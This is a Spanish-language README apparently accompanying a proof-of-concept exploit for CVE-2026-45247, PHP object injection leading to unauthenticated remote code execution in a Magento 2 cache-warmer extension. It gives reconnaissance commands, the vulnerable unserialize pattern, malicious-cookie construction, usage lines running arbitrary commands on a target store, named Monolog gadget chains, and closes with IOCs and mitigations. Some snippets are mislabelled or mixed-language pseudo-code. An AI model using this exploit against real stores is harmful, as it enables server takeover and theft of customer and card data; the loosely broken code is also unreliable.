
PoC funcional de CVE-2026-45247: inyección de objetos PHP a RCE no autenticado en Mirasvit Full Page Cache (Magento 2).
markdown
CVE-2026-45247 es una vulnerabilidad crítica de Inyección de Objetos PHP (PHP Object Injection) en la extensión Mirasvit Full Page Cache Warmer para Magento 2 y Adobe Commerce. Un atacante no autenticado puede lograr Ejecución Remota de Código (RCE) mediante el envío de un objeto PHP serializado manipulado en la cookie CacheWarmer.
La vulnerabilidad reside en la llamada sin restricciones a la función nativa unserialize() de PHP, combinada con cadenas de gadgets (gadget chains) disponibles en Magento y sus dependencias (especialmente Monolog).
| Atributo | Valor |
|---|---|
| CVE | CVE-2026-45247 |
| Producto | Mirasvit Full Page Cache Warmer for Magento 2 |
| Versiones afectadas | Todas las versiones anteriores a 1.11.12 |
| Parche disponible | Versión 1.11.12 (25 de mayo de 2026) |
| CVSS Score | 9.8 (Crítica) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Estado en CISA KEV | Explotación activa confirmada (añadida el 03/06/2026) |
| Fecha límite | 06/06/2026 |
CacheWarmer en cada petición de tiendaunserialize() sin sanitizaciónSyslogUdpHandler, BufferHandler, FingersCrossedHandler), se logra RCE# Verificar si la tienda usa Mirasvit Cache Warmer
curl -s https://tienda.com/pub/media/mirasvit/cache_warmer/CHANGELOG.md
Fase 2: Análisis de Vulnerabilidad
python
# La cookie se procesa en cada request sin autenticación
# El código vulnerable en Mirasvit:
$cookieValue = $_COOKIE['CacheWarmer'];
$data = unserialize(base64_decode($cookieValue)); # ¡Peligro!
Fase 3: Ejecución del Exploit
python
# Construcción de la cookie maliciosa
payload = serialize(PHPObjectInjection())
cookie_value = f"CacheWarmer:{base64_encode(payload)}"
# Envío de la petición
requests.get(target, cookies={'CacheWarmer': cookie_value})
🛠️ Uso del PoC
Instalación
bash
git clone https://github.com/tu-usuario/CVE-2026-45247.git
cd CVE-2026-45247
pip install requests
Ejecución Básica
bash
# Verificar vulnerabilidad
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com --check-only
# Ejecutar comando 'id'
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "id"
# Ejecutar comando personalizado
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "whoami"
# Usar proxy para depuración
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "ls -la" --proxy http://127.0.0.1:8080
Script Rápido
bash
# Verificar con script bash
chmod +x check_cve_2026_45247.sh
./check_cve_2026_45247.sh https://tienda.ejemplo.com
📊 Impacto Demostrado
Ejecución remota de comandos (RCE) en el servidor Magento
Acceso completo a la base de datos de clientes y pedidos
Instalación de webshells para persistencia
Compromiso total de la tienda en línea
Potencial filtración de datos de tarjetas de crédito
Movimiento lateral en la infraestructura corporativa
🛡️ Detección
Indicadores de Compromiso (IOCs)
En logs de acceso:
text
CacheWarmer: (Tz|Qz|YT)[a-zA-Z0-9+/=]+
Comandos observados en explotación:
bash
echo PWNED_CVE2026_$(date +%s)
sleep 5
Gadget chains utilizadas:
Monolog\Handler\SyslogUdpHandler
Monolog\Handler\BufferHandler
Monolog\Handler\FingersCrossedHandler
Monolog\Handler\GroupHandler
🔧 Mitigación
Actualización Inmediata
bash
# Actualizar a versión parcheada
composer require mirasvit/module-cache-warmer:1.11.12
bin/magento cache:flush
Mitigaciones Temporales
nginx
# Bloquear cookie CacheWarmer en .htaccess o nginx
RewriteCond %{HTTP_COOKIE} CacheWarmer
RewriteRule .* - [F,L]
php
// En app/code/local/Custom/BlockCookie.php
if (isset($_COOKIE['CacheWarmer'])) {
unset($_COOKIE['CacheWarmer']);
}